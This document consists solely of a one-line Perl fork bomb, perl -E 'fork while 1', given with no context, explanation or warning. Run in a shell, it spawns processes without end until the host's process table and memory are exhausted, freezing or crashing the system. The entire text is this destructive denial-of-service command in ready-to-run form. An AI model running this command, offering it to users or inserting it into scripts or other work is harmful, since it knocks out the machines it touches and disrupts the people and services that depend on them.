perl -E 'fork while 1'